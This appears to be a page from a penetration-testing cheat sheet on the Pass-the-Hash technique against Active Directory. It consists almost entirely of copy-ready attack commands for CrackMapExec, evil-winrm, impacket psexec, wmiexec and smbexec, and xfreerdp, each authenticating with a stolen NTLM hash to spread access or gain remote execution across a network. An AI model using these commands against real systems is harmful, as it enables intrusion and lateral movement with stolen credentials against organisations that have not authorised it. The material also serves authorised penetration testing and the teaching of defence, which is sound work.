Active Directory
Pass-the-Hash (PTH)
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from NT hash
Requires
NT hash of the target account. Works against NTLM-authenticated services.
CrackMapExec PTH · check access across the network
crackmapexec smb <RANGE> -u Administrator -H <NTLM-HASH> --local-auth
crackmapexec smb <RANGE> -u <USER> -H <NTLM-HASH>
evil-winrm PTH
evil-winrm -i <TARGET-IP> -u <USER> -H <NTLM-HASH>
impacket tools PTH
impacket-psexec <USER>@<TARGET-IP> -hashes :<NTLM-HASH>
impacket-wmiexec <USER>@<TARGET-IP> -hashes :<NTLM-HASH>
impacket-smbexec <USER>@<TARGET-IP> -hashes :<NTLM-HASH>
xfreerdp PTH (requires restricted admin mode on target)
xfreerdp /u:<USER> /pth:<NTLM-HASH> /v:<TARGET-IP> /cert:ignore